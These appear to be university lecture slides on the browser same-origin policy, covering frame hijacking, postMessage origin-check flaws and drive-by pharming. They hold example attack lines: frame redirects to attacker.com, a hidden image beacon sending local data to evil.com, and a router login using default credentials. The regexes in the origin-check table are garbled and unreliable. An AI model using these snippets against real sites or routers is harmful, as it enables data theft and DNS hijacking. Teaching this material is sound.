Web Security
advanced topics on SOP

Yan Huang

Credits: slides adapted from Stanford and Cornell Tech
Same Origin Policy

**Same Origin Policy (SOP) for DOM:**
Origin A can access origin B’s DOM if A and B have the same *(protocol, domain, port)*

**Same Origin Policy (SOP) for cookies:**
Generally, based on *([[protocol], domain, path])*
Guninski Attack

If bad frame can navigate sibling frames, attacker gets password!
Gadget Hijacking in Mashups

code:
```
  top.frames[1].location = "http:/www.attacker.com/...";
  top.frames[2].location = "http:/www.attacker.com/...";
```
Modern browsers only allow a frame to navigate its “descendant” frames
More Recent Developments

◆ Cross-origin network requests
  • `Access-Control-Allow-Origin:`
    `<list of domains>`
    – Typical usage:
      `Access-Control-Allow-Origin: *`
      included in HTTP response header

◆ Cross-origin client-side communication
  • Client-side messaging via fragment navigation
  • postMessage (newer browsers)
postMessage

◆ New API for inter-frame communication
◆ Supported in latest browsers
Example of postMessage Usage

document.addEventListener("message", receiver);
function receiver(e) {
  if (e.origin == "http://a.com") {
    … e.data …
  }
}

frames[0].postMessage("Hello!", "http://b.com");

Messages are sent to frames, not origins
Message Eavesdropping (1)

```javascript
frames[0].postMessage("Hello!")
```

- With descendant frame navigation policy
- Attacker replaces inner frame with his own, gets message
Message Eavesdropping (2)

frames[0].postMessage("Hello!")
◆ With descendant frame navigation policy
◆ Attacker replaces child frame with his own, gets message
Who Sent the Message?

```javascript
function msgReceiver(e) {
    if(e.origin !== "http://hostA") {
        // Code goes here...
    }
}
```

**HTML Living Standard (whatwg.org)**

Authors should check the `origin` attribute to ensure that messages are only accepted from domains that they expect to receive messages from...
And If The Check Is Wrong?
The Postman Always Rings Twice

[Son and Shmatikov]

A study of postMessage usage in top 10,000 sites

◆ 2,245 (22%) have a postMessage receiver
◆ 1,585 have a receiver without an origin check
◆ 262 have an incorrect origin check
◆ 84 have exploitable vulnerabilities
  • Received message is evaluated as a script, stored into localStorage, etc.
## Incorrect Origin Checks

[Son and Shmatikov]

<table>
<thead>
<tr>
<th>Check</th>
<th>Hosts</th>
<th>Origin check</th>
<th>Example of a malicious host name that passes the check</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>107</td>
<td>if(/|||chartbeat.com$/test(a.origin))</td>
<td>evil.chartbeat-com (not exploitable until arbitrary TLDs are allowed)</td>
</tr>
<tr>
<td>2</td>
<td>71</td>
<td>if(m.origin.indexOf(“sharethis.com”) != -1)</td>
<td>sharethis.com.malicious.com, evilsharethis.com</td>
</tr>
<tr>
<td>3</td>
<td>35</td>
<td>if(a.origin &amp; a.origin.match(/||kissmetrics||com||/))</td>
<td><a href="http://www.kissmetrics.com.evil.com">www.kissmetrics.com.evil.com</a></td>
</tr>
<tr>
<td>4</td>
<td>20</td>
<td>var w = /jumptime||com||: [0 - 9]||?$/; if(!v.origin.match(w))</td>
<td>eviljumptime.com</td>
</tr>
<tr>
<td>5</td>
<td>4</td>
<td>if(!a.origin.match(/readspeaker||com||gi)/))</td>
<td>readspeaker.com.evil.com, readspeaker.com.evil.com</td>
</tr>
<tr>
<td>7</td>
<td>1</td>
<td>if(e.origin.match(/||/|| |http(s)?||:\</td>
<td>||w+|||?||?.?dastелефонbuch||de||/))</td>
</tr>
<tr>
<td>8</td>
<td>1</td>
<td>if(/||||api||weibo||com$/test(l.origin))</td>
<td><a href="http://www.evilaip-weibo.com">www.evilaip-weibo.com</a></td>
</tr>
<tr>
<td>9</td>
<td>1</td>
<td>if(/||id||rambler||ru$/i.test(a.origin))</td>
<td><a href="http://www.evilaip-rambler.ru">www.evilaip-rambler.ru</a></td>
</tr>
<tr>
<td>10</td>
<td>1</td>
<td>if(e.origin.indexOf(location.hostname)==-1){return;};</td>
<td>receiverOrigin.evil.com</td>
</tr>
<tr>
<td>11</td>
<td>7</td>
<td>if(/||https||://[^/]+/.+/||pss||selector|| payment||portal||matpay - remote||).|js/i) .exec(src)[1] == e.origin</td>
<td>If the target site includes a script from <a href="http://www.evil.com/sites/selector.js">www.evil.com/sites/selector.js</a>, any message from <a href="http://www.evil.com">www.evil.com</a> will pass the check</td>
</tr>
<tr>
<td>12</td>
<td>5</td>
<td>if(g.origin &amp; g.origin !== l.origin) { return; } else { ... }</td>
<td><a href="http://www.evil.com">www.evil.com</a></td>
</tr>
<tr>
<td>13</td>
<td>1</td>
<td>if(typeof d === “string” &amp; n.origin !== d &amp;&amp; d !== “”))</td>
<td></td>
</tr>
</tbody>
</table>
JavaScript Library Import

- Same origin policy is bypassed for scripts not enclosed in an iframe

```
<script type="text/javascript"
src=\https://seal.verisign.com/getseal?host_name=A.com>
</script>
```

- This script has privileges of A.com, not VeriSign
  - Can change other pages from A.com origin, load more scripts

- Other forms of importing
SOP Does Not Control Sending

- Same origin policy (SOP) controls access to DOM
- Active content (scripts) can send anywhere!
  - No user involvement required
  - Can only read response from the same origin
Sending a Cross-Domain GET

- Data can be URL encoded
  
  `<img src="http://othersite.com/file.cgi?foo=1&bar=x%20y">`

  Browser sends
  
  GET `file.cgi?foo=1&bar=x%20y` HTTP/1.1 to othersite.com

- Through calling `XMLHttpRequest()`

- Can’t send to some restricted ports
  - For example, port 25 (SMTP)

- Can use GET for denial of service (DoS) attacks
  - A popular site can DoS another site [Puppetnets]
Using Images to Send Data

- Encode data in the image’s URL
  `<img src="http://evil.com/pass-local-info\extra_information">`

- Hide the fetched image
  `<img src="..." height="1" width="1">`

Very important point:
Without your intervention, a webpage in browser can send information to any site!
Drive-By Pharming

- User is tricked into visiting a malicious site
- Malicious script detects victim’s address
  - Read socket’s address
  - socket back to malicious host
- Next step: reprogram the router

[Stamm et al.]
Finding the Router

- Script from a malicious site can scan local network without violating the same origin policy!
  - Pretend to fetch an image from an IP address
  - Detect success using onError
    ```html
    <IMG SRC=192.168.0.1 onError = do()>
    ```
- Determine router type by the image it serves
Reprogramming the Router

Fact: 50% of home users use a broadband router with a default or no password
- Log into the router
  `<script src="http://admin:password@192.168.0.1"></script>`
- Replace DNS server address with the address of an attacker-controlled DNS server

[Stamm et al.]
Risks of Drive-By Pharming

- Completely own the victim’s Internet connection
- Undetectable phishing: user goes to a financial site, attacker’s DNS gives IP of attacker’s site
- Subvert anti-virus updates, etc.

[Stamm et al.]